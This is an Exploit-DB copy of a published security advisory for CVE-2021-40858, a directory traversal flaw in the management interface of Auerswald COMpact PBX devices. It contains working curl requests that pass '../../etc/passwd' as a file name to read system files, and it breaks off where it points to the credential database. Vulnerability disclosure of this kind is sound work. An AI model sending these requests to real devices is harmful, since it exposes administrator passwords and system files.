Exploit-DB #50568
Description: Auerswald COMpact 8.0B - Arbitrary File Disclosure
Type: remote
Platform: hardware
Date: 2021-12-06
Author: RedTeam Pentesting GmbH

Exploit:
# Exploit Title: Auerswald COMpact 8.0B - Arbitrary File Disclosure
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH

Advisory: Auerswald COMpact Arbitrary File Disclosure


RedTeam Pentesting discovered a vulnerability in the web-based
management interface of the Auerswald COMpact 5500R PBX which allows
users with the "sub-admin" privilege to access any files on the PBX's
file system.


Details
=======

Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact  4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
Fixed Versions: 8.2B
Vulnerability Type: Arbitrary File Disclosure
Security Risk: medium
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-006
Advisory Status: published
CVE: CVE-2021-40858
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40858


Introduction
============

"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.

Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."

(from the vendor's homepage)


More Details
============

RedTeam Pentesting discovered that attackers with administrative access
to the PBX's web-based management interface (as a so-called "sub-admin")
can download arbitrary files from the PBX's file system. This includes
the usually not accessible configuration database which contains the
password for the highly privileged "Admin" user in clear text.


Proof of Concept
================

The command-line HTTP client curl[1] can be used to log into the
management interface of the PBX with the username "sub-admin" and the
password "verysecretpassword" as follows:

------------------------------------------------------------------------
$ curl --anyauth --user sub-admin:verysecretpassword --include \
  https://192.168.1.2/tree

[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID[PII_REDACTED]=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]

[{"login":2,"userId":2222,[...]}]
------------------------------------------------------------------------

The server returns a session ID in a cookie which is then used to check
the access level:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID[PII_REDACTED]=ERQMMDGECSGWTII' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Sub-Administrator"}
------------------------------------------------------------------------

In the PBX's user management, the access level "Sub-Administrator" is
used for user accounts who should be able to configure the PBX. There
are also other, higher-level access privileges.

Users with the "sub-admin" privilege can configure music on hold (MOH,
"Wartemusik"), and for example listen to the currently configured music.
In order to do this, the browser requests the music files from the PBX.

The file "alarm1.wav" can be accessed with curl as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID[PII_REDACTED]=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?fileName=alarm1.wav'\
'&pageindex=1'

HTTP/1.1 200 OK
Content-Type: audio/x-wav; charset=
Content-Length: 132192
Content-disposition: attachment; filename="alarm1.wav"
[...]
------------------------------------------------------------------------

It was found that the PBX allows directory traversal with the string
"../", so the file "/etc/passwd" can be accessed as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID[PII_REDACTED]=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?'\
'fileName=../../etc/passwd&pageindex='

HTTP/1.1 200 OK
[...]
Content-Length: 113
Content-disposition: attachment; filename="../../etc/passwd"
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

The same issue is present in the function for managing logos. A regular
request for the file "logo1.jpg" is shown below:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID[PII_REDACTED]=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=logo1.jpg&424'

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: image/jpg; charset=UTF-8
Content-Length: 13986
Content-disposition: attachment; filename="logo1.jpg"
[...]
------------------------------------------------------------------------

In a similar fashion as before, the file "/etc/passwd" can be accessed:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID[PII_REDACTED]=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=../../etc/passwd'

HTTP/1.1 200 OK
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

For attackers, an interesting file is the SQLite[2] database file
"/data/db/pbx4.db". It can be download